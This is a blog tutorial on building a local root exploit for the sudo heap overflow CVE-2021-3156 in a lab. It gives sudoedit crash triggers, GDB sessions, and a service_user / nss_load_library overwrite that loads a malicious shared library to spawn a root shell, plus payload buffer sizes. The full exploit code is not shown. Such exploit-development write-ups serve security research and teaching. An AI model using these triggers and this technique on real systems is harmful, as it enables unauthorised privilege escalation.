CVE-2021-3156 Sudo Heap-based buffer overflow exploit

Key facts

The CVE-2021-3156 vulnerability in sudo is an interesting heap-based buffer overflow condition that allows for privilege escalation on Linux and Mac systems, if the vulnerability is exploited successfully.

The bug in sudo was disclosed by Qualys researchers on their blog/website which you can find here. All relevant details are listed there.

Further technical details also disclosed by Qualys researchers, that you may find interesting and helpful when developing your own exploit, can be found here.

There are also several publicly disclosed exploits that you can find either on GitHub or elsewhere on the Internet. One working proof of concept exploit disclosed by the independent researcher that I analysed is here.

I will analyse the information and details available publicly and use the key pieces of the puzzle to develop a custom working exploit for this vulnerability. At the end of this post, which may take a while to finish, you will know how to exploit this vulnerability with the custom code provided and you will also be introduced to the fascinating topic of the exploit development.


Before I show you how to do it it, I need to say that this information is meant to be for security researchers, enthusiasts and professionals and should not be used by anybody to attack any systems that they are not authorised to attack or compromise.


Lab setup

If you would like to follow me as I progress with the exploit development, please set up the lab with a Linux distribution of your choice that uses a vulnerable (unpatched) version of the sudo. If you are not sure how to check, if the sudo version you have is vulnerable refer to the links above where all the details are listed. A quick summary of what you need is as follows:

  • Virtual machine with any distribution of your choice e.g. Ubuntu/Debian – target
  • GDB debugger for Linux – for debugging and fine tuning the exploit
  • Python3 installed on your system – to create payloads and the final exploit

I am going to skip the time consuming steps to save time and focus on what is actually important. The typical exploit development process for binaries/software involves the following steps, some of which will not be covered here due to time constraints:

  • fuzzing
  • analysing crashes to understand, if they are exploitable
  • bypassing various memory protections e.g. ASLR, DEP
  • developing a working proof of concept payload that triggers the crash and can be used to exploit the vulnerability
  • debugging the vulnerable binary/program/software to identify attack vectors
  • creating proof of concept exploit that is stable, reliable and portable
  • fine tuning of the exploit to give it the enterprise grade rating and ensure that production systems will not crash, even if the exploit fails for some reason

I will try to keep the write up simple for you so that you can understand what is happening. However, if anything is not clear or you need more details, use the comments box to send me your questions and I will get back to you with the answers.

When the exploit development process is completed, the working exploit will be ready and should work on any unpatched distribution. I will also show you how to modify it to make it work on systems with different memory layouts and offsets.

Exploit Development

There are three known and working methods to exploit this bug as per bug disclosure information:

  1. struct sudo_hook_entry overwrite
  2. struct service_user overwrite
  3. def_timestampdir overwrite

I will focus on the second method here.

All steps will be completed on the Kali Linux virtual machine that is vulnerable and exploitable, based on the versions and behaviours it shows. However, you can never be 100% certain that the bug is exploitable until you actually develop a working exploit yourself.

┌──(user㉿kali)-[~]
 └─$ cat /etc/*release
 PRETTY_NAME="Kali GNU/Linux Rolling"
 NAME="Kali GNU/Linux"
 ID=kali
 VERSION="2020.4"
 VERSION_ID="2020.4"
 VERSION_CODENAME="kali-rolling"
 ID_LIKE=debian
 ANSI_COLOR="1;31"
 HOME_URL="https://www.kali.org/"
 SUPPORT_URL="https://forums.kali.org/"
 BUG_REPORT_URL="https://bugs.kali.org/"

Versions of sudo and libc are shown below for the reference.

I have downloaded and compiled the same Sudo version as above and recompiled it with debugging symbols enabled to make it easier to debug the binary and quickly identify any issues. If you do not have debugging symbols, you will be scratching your head for hours and may end up being frustrated by the lack of progress, so please make sure you take care of those before starting your exploit development work. For those who need some help, the steps you need to follow are summarised below:

  • Download the source code for the version of sudo you are working with that works with your distribution e.g. the filename in my case is SUDO_1_9_4p2.tar.gz
  • create a new directory e.g. sudo-binary and move the file there
cd sudo-binary
tar xf SUDO_1_9_4p2.tar.gz
mkdir build-dir
cd build-dir/
../configure --enable-env-debug
make -j
sudo make install

Now you have the binary with debugging symbols enabled and ready for debugging. During initial stages of the development/debugging ensure that you run your gdb instance either as a sudo user or preferably as a root to avoid having any issues while debugging.

First we run the test payload to see the default behaviour outside of the debugger.

┌──(user㉿kali)-[~/sudo-binary]
 └─$ sudoedit -s '\' perl -e 'print "A" x 65536'
 malloc(): corrupted top size
 Aborted
 ┌──(user㉿kali)-[~/sudo-binary]
 └─$ sudoedit -s '\' $(python -c'print("A"*65535)')
 malloc(): corrupted top size
 Aborted
 ┌──(user㉿kali)-[~/sudo-binary]
 └─$ 

As you can see, the error message has been returned twice indicating that the vulnerability may be present. When loading the binaries for debugging into gdb, ensure that you specify the full path to the binary rather than just the name of the binary. If you have multiple versions on your system and different environment variables you may end up looking at the wrong binary and wondering why you are not getting the results.

For certain exploits the size of the memory available to the target also matters, in this case, 4GB of RAM is allocated to the virtual machine.

┌──(user㉿kali)-[~/sudo-binary]
 └─$ free
               total        used        free      shared  buff/cache   available
 Mem:        4033164      609776     2659264       31876      764124     3147108
 Swap:             0           0           0

Debugging

The most interesting part starts from here. As you can see before you can even start, you need to have some prerequisites in place, otherwise you will not get the expected results from your hard work.

If something does not work or you cannot do it because you lack skills, do not be discouraged. Keep trying, keep learning and researching until you find the required information that you need to progress to the next stage of the exploit development process.

There is enough of information about the vulnerability to skip a few steps. However, the sample payload is far from being certain at this stage. Memory layouts are never the same on two different systems with identical settings therefore once the working exploit is developed for one system, it can be later tweaked to account for different layouts and offsets on other systems. That means that each potential target will need to be inspected manually to confirm what changes, if any at all, are required to make the exploit portable.

I will fast forward a few basic steps and get you straight into the debugger to save time. The breakpoint is set at set_cmnd function at line 964.

Breakpoint 1, set_cmnd () at ../../../plugins/sudoers/sudoers.c:964
 964                 if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
 (gdb) info registers 
 rax            0x56194a0c68e0      94666616498400
 rbx            0x56194a0c68e0      94666616498400
 rcx            0x56194a0d68e0      94666616563936
 rdx            0x56194a0c68d0      94666616498384
 rsi            0x10003             65539
 rdi            0x56194a0c68e0      94666616498400
 rbp            0x56194a0bebc0      0x56194a0bebc0
 rsp            0x7fff45fa54c0      0x7fff45fa54c0
 r8             0x56194a0c68e0      94666616498400
 r9             0x7f4bb90e2be0      139963203988448
 r10            0x10030             65584
 r11            0x56194a0d1000      94666616541184
 r12            0x0                 0
 r13            0x10003             65539
 r14            0x0                 0
 r15            0x56194a0bebb8      94666616466360
 rip            0x7f4bb8bcac4b      0x7f4bb8bcac4b 
 eflags         0x202               [ IF ]
 cs             0x33                51
 ss             0x2b                43
 ds             0x0                 0
 es             0x0                 0
 fs             0x0                 0
 gs             0x0                 0

The payload of 65536 “A”s has been sent. Take a look at the what is happening. There is argument 0 = sudoedit, argument 1 = “\\” and argument 2 = “A” x your payload. Even though, 65536 “A”s have been sent, the additional 3 bytes need to be accounted for giving us a total of 65539 as shown below. The last value shown in bold included the current heap address space at the specific address.

(gdb) p NewArgv[0]
 $1 = 0x56194852fcae "sudoedit"
 (gdb) p NewArgv[1]
 $2 = 0x7fff45fa6860 "\\"
 (gdb) p NewArgv[2]
 $3 = 0x7fff45fa6862 'A' …
 (gdb) x /20xg 0x7fff45fa6860
 0x7fff45fa6860: 0x414141414141005c      0x4141414141414141
 0x7fff45fa6870: 0x4141414141414141      0x4141414141414141
 0x7fff45fa6880: 0x4141414141414141      0x4141414141414141
 0x7fff45fa6890: 0x4141414141414141      0x4141414141414141
 0x7fff45fa68a0: 0x4141414141414141      0x4141414141414141
 0x7fff45fa68b0: 0x4141414141414141      0x4141414141414141
 0x7fff45fa68c0: 0x4141414141414141      0x4141414141414141
 0x7fff45fa68d0: 0x4141414141414141      0x4141414141414141
 0x7fff45fa68e0: 0x4141414141414141      0x4141414141414141
 0x7fff45fa68f0: 0x4141414141414141      0x4141414141414141
 (gdb) p size
 $4 = 65539
 (gdb) p sudo_user.cmnd_args
 $5 = 0x56194a0c68e0 ""
 (gdb) x /8xg 0x56194a0c68e0
 0x56194a0c68e0: 0x0000000000000000      0x0000000000000000
 0x56194a0c68f0: 0x0000000000000000      0x0000000000000000
 0x56194a0c6900: 0x0000000000000000      0x0000000000000000
 0x56194a0c6910: 0x0000000000000000      0x0000000000000000

Let’s take a look now at the flow after the next breakpoint is reached. The same address contains multiple “A”s. These are heap based addresses.

(gdb) c
 Continuing.
 Breakpoint 2, set_cmnd () at ../../../plugins/sudoers/sudoers.c:978
 978                     *--to = '\0';
 (gdb) x /8xg 0x56194a0c68e0
 0x56194a0c68e0: 0x4141414141414100      0x4141414141414141
 0x56194a0c68f0: 0x4141414141414141      0x4141414141414141
 0x56194a0c6900: 0x4141414141414141      0x4141414141414141
 0x56194a0c6910: 0x4141414141414141      0x4141414141414141
 (gdb) p to
 $6 = 0x56194a0e68e2 " "
 (gdb) p 0x56194a0e68e2-0x56194a0c68e0
 $7 = 131074

Moving on, a quick check reveals that we are quite a bit off the preferred target range. In fact, 131074 is the distance between the current offset and the offset where we started initially. What does it mean?

gdb) info registers 
 rax            0x56194a0e68e3      94666616629475
 rbx            0x56194a0e68e2      94666616629474
 rcx            0x0                 0
 rdx            0x7fff45fb6862      140734367492194
 rsi            0x10003             65539
 rdi            0x56194a0c68e0      94666616498400
 rbp            0x56194a0bebd0      0x56194a0bebd0
 rsp            0x7fff45fa54c0      0x7fff45fa54c0
 r8             0x7f4bb8f1d218      139963202130456
 r9             0x7f4bb90e2be0      139963203988448
 r10            0x10030             65584
 r11            0x56194a0d1000      94666616541184
 r12            0x0                 0
 r13            0x7fff45fb6861      140734367492193
 r14            0x0                 0
 r15            0x0                 0
 rip            0x7f4bb8bcb558      0x7f4bb8bcb558 
 eflags         0x246               [ PF ZF IF ]
 cs             0x33                51
 ss             0x2b                43
 ds             0x0                 0
 es             0x0                 0
 fs             0x0                 0
 gs             0x0                 0
 (gdb) x /16xg $rbx
 0x56194a0e68e2: 0x0000000000000020      0x0000000000000000
 0x56194a0e68f2: 0x0000000000000000      0x0000000000000000
 0x56194a0e6902: 0x0000000000000000      0x0000000000000000
 0x56194a0e6912: 0x0000000000000000      0x0000000000000000
 0x56194a0e6922: 0x0000000000000000      0x0000000000000000
 0x56194a0e6932: 0x0000000000000000      0x0000000000000000
 0x56194a0e6942: 0x0000000000000000      0x0000000000000000
 0x56194a0e6952: 0x0000000000000000      0x0000000000000000
 (gdb) x /16xg $rbx-131074
 0x56194a0c68e0: 0x4141414141414100      0x4141414141414141
 0x56194a0c68f0: 0x4141414141414141      0x4141414141414141
 0x56194a0c6900: 0x4141414141414141      0x4141414141414141
 0x56194a0c6910: 0x4141414141414141      0x4141414141414141
 0x56194a0c6920: 0x4141414141414141      0x4141414141414141
 0x56194a0c6930: 0x4141414141414141      0x4141414141414141
 0x56194a0c6940: 0x4141414141414141      0x4141414141414141
 0x56194a0c6950: 0x4141414141414141      0x4141414141414141

As you can see above, we worked out that the rbx (register b extended) is currently pointing to a location in the heap that is quite a bit off the location we need to be closer to which is 0x56194a0c68e0. For the reference the general purpose registers are as follows:

  • rax,rbx,rcx,rdx = extended registers,
  • rbp is the base pointer (where the stack starts),
  • rsp – is register stack pointer (current stack location, growing downwards),
  • rsi – is the source index (for data copies),
  • rdi – is the destination index (for data copies).
  • There are also other registers from r8 to r15 that you can access via ‘r’ prefix e.g. rax,r15

Current heap address mappings can be seen below for the reference. I have removed other values that are not relevant here.

0x56194a0b0000     0x56194a0f7000    0x47000        0x0 [heap]
(gdb) find 0x56194a0b0000,0x56194a0f7000,"AAAA"
 warning: Unable to access 2813 bytes of target memory at 0x56194a0f6504, halting search.

Something has gone wrong here. The payload has gone too far and corrupted specific addresses. In addition, the heap space has been expanded from 21000 to 47000.

(gdb) x /20xg 0x56194a0f6504
 0x56194a0f6504: 0x0000000000000000      0x0000000000000000
 0x56194a0f6514: 0x0000000000000000      0x0000000000000000
 0x56194a0f6524: 0x0000000000000000      0x0000000000000000
 0x56194a0f6534: 0x0000000000000000      0x0000000000000000
 0x56194a0f6544: 0x0000000000000000      0x0000000000000000
 0x56194a0f6554: 0x0000000000000000      0x0000000000000000
 0x56194a0f6564: 0x0000000000000000      0x0000000000000000
 0x56194a0f6574: 0x0000000000000000      0x0000000000000000
 0x56194a0f6584: 0x0000000000000000      0x0000000000000000
 0x56194a0f6594: 0x0000000000000000      0x0000000000000000

If the program continues as intended we get an error.

(gdb) c
 Continuing.
 malloc(): corrupted top size
 Program received signal SIGABRT, Aborted.
 __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:50
 50      ../sysdeps/unix/sysv/linux/raise.c: No such file or directory.
 (gdb) bt
 0  __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:50
 1  0x00007f4bb8f49537 in __GI_abort () at abort.c:79
 2  0x00007f4bb8fa2708 in __libc_message (action=action@entry=do_abort,
 fmt=fmt@entry=0x7f4bb90b0e31 "%s\n") at ../sysdeps/posix/libc_fatal.c:155
 3  0x00007f4bb8fa99fa in malloc_printerr (
 str=str@entry=0x7f4bb90af11f "malloc(): corrupted top size") at malloc.c:5347
 4  0x00007f4bb8fad0d7 in _int_malloc (av=av@entry=0x7f4bb90e2b80 ,
 bytes=bytes@entry=262148) at malloc.c:4107
 5  0x00007f4bb8fae104 in __GI___libc_malloc (bytes=262148) at malloc.c:3058
 6  0x00007f4bb9113d09 in sudo_getgrouplist2_v1 (name=0x56194a0b89a8 "root",
 basegid=0, groupsp=groupsp@entry=0x7fff45fa4e30,  ngroupsp=ngroupsp@entry=0x7fff45fa4e2c) at ../../../lib/util/getgrouplist.c:94
 7  0x00007f4bb8bdfe03 in sudo_make_gidlist_item (pw=0x56194a0b8978,
 unused1=<optimized out>, type=1) at ../../../plugins/sudoers/pwutil_impl.c:269
 8  0x00007f4bb8bdeb4e in sudo_get_gidlist (pw=0x56194a0b8978, type=type@entry=1)
 at ../../../plugins/sudoers/pwutil.c:926
 9  0x00007f4bb8bd7f89 in runas_getgroups ()
 at ../../../plugins/sudoers/match.c:141
 10 0x00007f4bb8bc71fe in runas_setgroups ()
 at ../../../plugins/sudoers/set_perms.c:1584
 11 set_perms (perm=perm@entry=5) at ../../../plugins/sudoers/set_perms.c:275
 12 0x00007f4bb8bc086a in sudoers_lookup (snl=0x7f4bb8c1ed80 ,
 pw=0x56194a0b8978,  cmnd_status=cmnd_status@entry=0x7f4bb8c1ed94 <cmnd_status>,  pwflag=pwflag@entry=0) at ../../../plugins/sudoers/parse.c:355
 13 0x00007f4bb8bcad8b in sudoers_policy_main (argc=argc@entry=3,
 argv=argv@entry=0x56194a0b3850, pwflag=pwflag@entry=0,  env_add=env_add@entry=0x0, verbose=verbose@entry=false,  closure=closure@entry=0x7fff45fa5570) at ../../../plugins/sudoers/sudoers.c:420
 14 0x00007f4bb8bc32fc in sudoers_policy_check (argc=3, argv=0x56194a0b3850,
 env_add=0x0, command_infop=0x7fff45fa5630, argv_out=0x7fff45fa5638,  user_env_out=0x7fff45fa5640, errstr=0x7fff45fa5658) at ../../../plugins/sudoers/policy.c:1028
 15 0x00005619485151d5 in policy_check (user_env_out=0x7fff45fa5640,
 argv_out=0x7fff45fa5638, command_info=0x7fff45fa5630, env_add=0x0,  argv=0x56194a0b3850, argc=3) at ../../src/sudo.c:1168
 16 main (argc=, argv=, envp=0x7fff45fa58e0)

Quick check of the registers shows that we are off the target range.

(gdb) info registers 
 rax            0x0                 0
 rbx            0x7f4bb8f1d280      139963202130560
 rcx            0x7f4bb8f5fc81      139963202403457
 rdx            0x0                 0
 rsi            0x7fff45fa4970      140734367418736
 rdi            0x2                 2
 rbp            0x7fff45fa4cc0      0x7fff45fa4cc0
 rsp            0x7fff45fa4970      0x7fff45fa4970
 r8             0x0                 0
 r9             0x7fff45fa4970      140734367418736
 r10            0x8                 8
 r11            0x246               582
 r12            0x7fff45fa4be0      140734367419360
 r13            0x1000              4096
 r14            0x10                16
 r15            0x7f4bb9175000      139963204587520
 rip            0x7f4bb8f5fc81      0x7f4bb8f5fc81 <__GI_raise+321>
 eflags         0x246               [ PF ZF IF ]
 cs             0x33                51
 ss             0x2b                43
 ds             0x0                 0
 es             0x0                 0
 fs             0x0                 0
 gs             0x0                 0

The registers point to the stack locations now. Some work is required here to fine tune our initial payload to end up in the correct segment, overwrite the address on the heap, that we control which will point to the shared library that we can use to get our shell as root. We can use some GOT address as well that will take us to the correct destination. Jumping around and trying to manually hardcode the flow is not the most efficient option here. The better approach is to first overwrite the memory address at nss_load_library with our payload precisely, then perform a small jump to bypass 00 bytes and end up in the NOP buffer space leading to the addresses where our actual shell code will be placed.

Let’s try something different this time. Another payload.

(gdb) r -s AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA \ BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
 The program being debugged has been started already.
 Start it from the beginning? (y or n) y
 Starting program: /usr/local/bin/sudoedit -s AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA \ BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
 [Thread debugging using libthread_db enabled]
 Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
 Breakpoint 1, set_cmnd () at ../../../plugins/sudoers/sudoers.c:964
 964                 if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {

Let’s continue to the next breakpoint.

(gdb) c
 Continuing.
 Breakpoint 2, set_cmnd () at ../../../plugins/sudoers/sudoers.c:978
 978                     *--to = '\0';
 (gdb) x /8xg 0x563672e96990
 0x563672e96990: 0x4141414141414141      0x4141414141414141
 0x563672e969a0: 0x4141414141414141      0x4141414141414141
 0x563672e969b0: 0x4141414141414141      0x4141414141414141
 0x563672e969c0: 0x4141414141414141      0x4141414141414141
 (gdb) p to
 $13 = 0x563672e96a1f " \300\230\351r6V"
 (gdb) p 0x563672e96a1f-0x563672e96990
 $15 = 143

One more break point and something interesting happens.

(gdb) c
 Continuing.
 Program received signal SIGSEGV, Segmentation fault.
 0x00007f5e35beee7b in userlist_matches (parse_tree=0x563672e865a8, 
     pw=pw@entry=0x563672e8b978, list=list@entry=0x563672e96be0)
     at ../../../plugins/sudoers/match.c:121
 121         TAILQ_FOREACH_REVERSE(m, list, member_list, entries) {
 (gdb) bt
 0  0x00007f5e35beee7b in userlist_matches (parse_tree=0x563672e865a8,
 pw=pw@entry=0x563672e8b978, list=list@entry=0x563672e96be0) at ../../../plugins/sudoers/match.c:121
 1  0x00007f5e35bd696b in sudoers_lookup_check (now=1612889848,
 defs=<synthetic pointer>, matching_cs=<synthetic pointer>,  info=0x7fffe7d0a010, validated=<synthetic pointer>, pw=0x563672e8b978,  nss=0x7f5e35c34b20 <sudo_nss_file>) at ../../../plugins/sudoers/parse.c:129
 2  sudoers_lookup (snl=, pw=0x563672e8b978,
 cmnd_status=cmnd_status@entry=0x7f5e35c34d94 <cmnd_status>,  pwflag=pwflag@entry=0) at ../../../plugins/sudoers/parse.c:367
 3  0x00007f5e35be0d8b in sudoers_policy_main (argc=argc@entry=4,
 argv=argv@entry=0x563672e86850, pwflag=pwflag@entry=0,  env_add=env_add@entry=0x0, verbose=verbose@entry=false,  closure=closure@entry=0x7fffe7d0a1b0) at ../../../plugins/sudoers/sudoers.c:420
 4  0x00007f5e35bd92fc in sudoers_policy_check (argc=4, argv=0x563672e86850,
 env_add=0x0, command_infop=0x7fffe7d0a270, argv_out=0x7fffe7d0a278,  user_env_out=0x7fffe7d0a280, errstr=0x7fffe7d0a298) at ../../../plugins/sudoers/policy.c:1028
 5  0x0000563671d1d1d5 in policy_check (user_env_out=0x7fffe7d0a280,
 argv_out=0x7fffe7d0a278, command_info=0x7fffe7d0a270, env_add=0x0,  argv=0x563672e86850, argc=4) at ../../src/sudo.c:1168
 6  main (argc=, argv=, envp=0x7fffe7d0a528)
 at ../../src/sudo.c:267

Take a look at the rax register which has been overwritten by the second variable “B” that we inserted into our payload.

(gdb) info registers 
 rax            0x42424242424242    18650200809816642
 rbx            0x563672e96be0      94791856122848
 rcx            0x7                 7
 rdx            0xffffffff          4294967295
 rsi            0x0                 0
 rdi            0x0                 0
 rbp            0x563672e8b978      0x563672e8b978
 rsp            0x7fffe7d09f70      0x7fffe7d09f70
 r8             0x7f5e361385fc      140042610902524
 r9             0x7fffe7d09e70      140737082596976
 r10            0x7f5e360c5470      140042610431088
 r11            0x7fffe7dd9970      140737083447664
 r12            0x0                 0
 r13            0x563672e865a8      94791856055720
 r14            0x0                 0
 r15            0x7fffe7d0a008      140737082597384
 rip            0x7f5e35beee7b      0x7f5e35beee7b 
 eflags         0x10202             [ IF RF ]
 cs             0x33                51
 ss             0x2b                43
 ds             0x0                 0
 es             0x0                 0
 fs             0x0                 0
 gs             0x0                 0

Looking closer at the heap we can see that our “B” pattern is available at the location shown below.

(gdb) find 0x563672e83000,0x563672ea4000,"BBBB"
 0x563672e96a1b
(gdb) x /40xg 0x563672e96a1b-160
 0x563672e9697b: 0x0000000000000000      0x0000810000000000
 0x563672e9698b: 0x4141410000000000      0x4141414141414141
 0x563672e9699b: 0x4141414141414141      0x4141414141414141
 0x563672e969ab: 0x4141414141414141      0x4141414141414141
 0x563672e969bb: 0x4141414141414141      0x4141414141414141
 0x563672e969cb: 0x4200204141414141      0x4242424242424242
 0x563672e969db: 0x4242424242424242      0x4242424242424242
 0x563672e969eb: 0x4242424242424242      0x4242204242424242
 0x563672e969fb: 0x4242424242424242      0x4242424242424242
 0x563672e96a0b: 0x4242424242424242      0x4242424242424242
 0x563672e96a1b: 0xe998c00042424242      0x0001070000563672
 0x563672e96a2b: 0x0000000000000000      0x0000310000000000
 0x563672e96a3b: 0x0000000000000000      0xe96b980000000000
 0x563672e96a4b: 0x0000000000563672      0x00011f0000000000
 0x563672e96a5b: 0x0000000000000000      0x0000310000000000
 0x563672e96a6b: 0x0000000000000000      0xe910200000000000
 0x563672e96a7b: 0x0000000000563672      0x00011f0000000000
 0x563672e96a8b: 0x0000000000000000      0x0000310000000000
 0x563672e96a9b: 0x0000000000000000      0xe847e00000000000
 0x563672e96aab: 0x0000000000563672      0x00011f0000000000

We are still a bit off the target as seen in the output below.

(gdb) p 0x563672e96be0-0x563672e96a1b
 $16 = 453
 (gdb) x /20xg $rbx-453
 0x563672e96a1b: 0xe998c00042424242      0x0001070000563672
 0x563672e96a2b: 0x0000000000000000      0x0000310000000000
 0x563672e96a3b: 0x0000000000000000      0xe96b980000000000
 0x563672e96a4b: 0x0000000000563672      0x00011f0000000000
 0x563672e96a5b: 0x0000000000000000      0x0000310000000000
 0x563672e96a6b: 0x0000000000000000      0xe910200000000000
 0x563672e96a7b: 0x0000000000563672      0x00011f0000000000
 0x563672e96a8b: 0x0000000000000000      0x0000310000000000
 0x563672e96a9b: 0x0000000000000000      0xe847e00000000000
 0x563672e96aab: 0x0000000000563672      0x00011f0000000000

That is promising so we need to give it another go with a modified payload to see what happens next.

Exploit proof of concept (from user to root)

After some testing in the debugger one issue became apparent. The heap address overwrite needs to be very precise to create perfectly aligned heap memory layout that can be successfully exploited.

Trial and error methodology combined with debugging sessions confirmed that the following approach could be used when constructing the payload:

  • use environment variables to define precise buffer length
  • do not corrupt random addresses to avoid segmentation fault errors
  • work out how to create custom heap layout filled with 0s in a specific location to construct perfectly aligned memory layout
  • calculate precise distance between various offsets to overwrite the name pointer to the shared library where the shell code will be executed

Let’s see it in action first, and later I will talk you through the process. Below you can see that the shared library stored in a local directory on the test system called “libnss_XSHELLS” has been loaded instead of the default directory that the glibc would use. The break point is set at line 195 in dl-libc.c which is one instruction away from the root shell.

195     in dl-libc.c
*RAX  0x7f4e1a0c25c0 (_rtld_global_ro) ◂— 0x5090f00000000
 RBX  0x557c8665e0b0 ◂— 0x0
 RCX  0x322e
 RDX  0xe
 RDI  0x7ffe6d8fdc30 ◂— 'libnss_XSHELLS/XSHELL.so.2'
 RSI  0x80000002
 R8   0x557c86672810 —▸ 0x557c8665e0e0 ◂— 'XSHELLS/XSHELL'
 R9   0x4c4c454853582f
 R10  0x557c86672de0 ◂— 0x5c0
 R11  0x0
 R12  0x557c8665e0e0 ◂— 'XSHELLS/XSHELL'
 R13  0x7ffe6d8fdc50 ◂— 0x0
 R14  0x1b
 R15  0x557c86672810 —▸ 0x557c8665e0e0 ◂— 'XSHELLS/XSHELL'
 RBP  0x7ffe6d8fdca0 —▸ 0x7ffe6d8fdd00 —▸ 0x7f4e19faa969 ◂— 'getspnam_r'
 RSP  0x7ffe6d8fdbf0 —▸ 0x7ffe6d8fdc30 ◂— 'libnss_XSHELLS/XSHELL.so.2'
*RIP  0x7f4e19f55837 (__libc_dlopen_mode+55) ◂— mov    rsi, rsp

The shared object being loaded is XSHELL.so.2 which happens to be the /bin/bash shell that had been created and compiled prior to running the exploit code.

What follows next is the code execution as root in the debugger.

c
Continuing.

 Enjoy the root shell!
 Provided by Sylwester @ https://www.cybersecuritynotepad.com

process 1616 is executing new program: /usr/bin/bash
[New inferior 3]

The shell was spawned as expected with root privileges in the debugger. Now let’s execute the same exploit outside of the debugger to better visualise the privilege escalation.

sudo-2021-3156-exploit-POC

This proof of concept exploit shows that the version of Kali Linux in use for the demonstration purposes is indeed vulnerable and exploitable. At the beginning of this post, it was not possible to categorically say whether this version of Sudo (1.9.4p2) was exploitable in reality. Now you can see that it is.

In summary, the exploit code included in the “ex3” file was send via sudoedit with correctly aligned user buffer injected via environment variables and padded with 0s to achieve the desired heap layout that enabled the name pointer that sits in the structure of the nss_load_library (struct service_user overwrite) to be overwritten and instead of using default glibc settings, it loaded the compiled “/bin/bash” shell from the shared library directory.

As you can see, the exploit is clean and it exited the shell without errors. In addition, it can be executed multiple times on the same system with all existing memory protections enabled including ASLR. Finally the icing on the cake is the fact, that it also works after the system reboot. This is ideal for production environments where stability and availability is the key and there is no room for errors that can be costly.

For the reference these are the memory protections as per default configuration on the test Kali system:

┌──(user㉿kali)-[~/cve-2021-3156/exploit2/CVE-2021-3156]
└─$ checksec /usr/local/bin/sudo
 [*] '/usr/local/bin/sudo'
     Arch:     amd64-64-little
     RELRO:    Partial RELRO
     Stack:    Canary found
     NX:       NX enabled
     PIE:      PIE enabled
     RUNPATH:  b'/usr/local/libexec/sudo'
     FORTIFY:  Enabled

Looking at the output above partial RELRO means that the ELF internal data sections are reordered in a way which makes these sections placed before the data sections of the program. It also makes non-procedure linkage table global offset table (GOT) read-only providing mitigation for GOT overwrites.

Stack Canary, stack cookie or also known as stack guard is designed to protect against stack based code execution. It places a random value on the stack which is checked before returning out of the stack frame. When the check fails the execution will be terminated. There are bypasses possible via information leakage, brute-forcing or exploiting the implementation of the random number generator. In this context, it is not important.

I won’t cover other memory protections here due to time constraints. The key observation is that, if all memory protections are enabled in this specific context, the privilege escalation is still possible as shown above.

When working on exploits, experience is helpful but even without it you can achieve your goals, as long as you are motivated and determined to succeed. If somebody says “this binary is not exploitable because it has protections A,B,C,D”, you can take it with a pinch of salt. It may not be exploitable to one person for various reasons, but there will always be somebody out there with the understanding and the skills who may be able to find the perfect solution to the problem. Nothing is impossible, as long as you have a strong belief in it.

Exploit code

As shown above, the test Kali system is exploitable with the custom exploit. I skipped a few steps to save time and show you only the essential information.

The actual payload will be analysed next to give you an idea how to code the exploit and make it work on your system of choice. It does not matter what you code the exploit with. You can use any programming/scripting language you are familiar with.

Most of the currently available exploits are either written in C or scripted in Python. Depending on the environment, various options may be preferred. I will get back to that point later.

The user controlled buffer and the environment variables are adjustable depending on the system. It is not always possible to accurately predict what it is and where it is in memory without debugging the binary and the exploit code. There are some predictable buffers/sizes that can be used either for hardcoding or brute-forcing, depending on the exploit structure. I manually verified what the correct values were and hardcoded all the values to ensure that they work reliably without brute-forcing.

The following buffers can be used:

Total user buffer e.g. "A" = 0x30 (48 bytes)
Total environment variable buffer e.g. "\\" (0s) = varies 
Total user buffer 2 via environment variables e.g."B" = varies

Even those buffers that are variable are predictable as follows:

"B" = 0x19 = 25 bytes with total "\\" = 0xbe0 (3040 bytes)
"B" = 0x29 = 41 bytes with total "\\" = 0xc50 (3152 bytes)
"B" = 0x31 = 49 bytes with total "\\" = 0xc50 (3152 bytes)
"B" = 0x41 = 65 bytes with total "\\" = 0xba0 (2976 bytes)

Now using this information, the payload can be constructed.

More details to follow…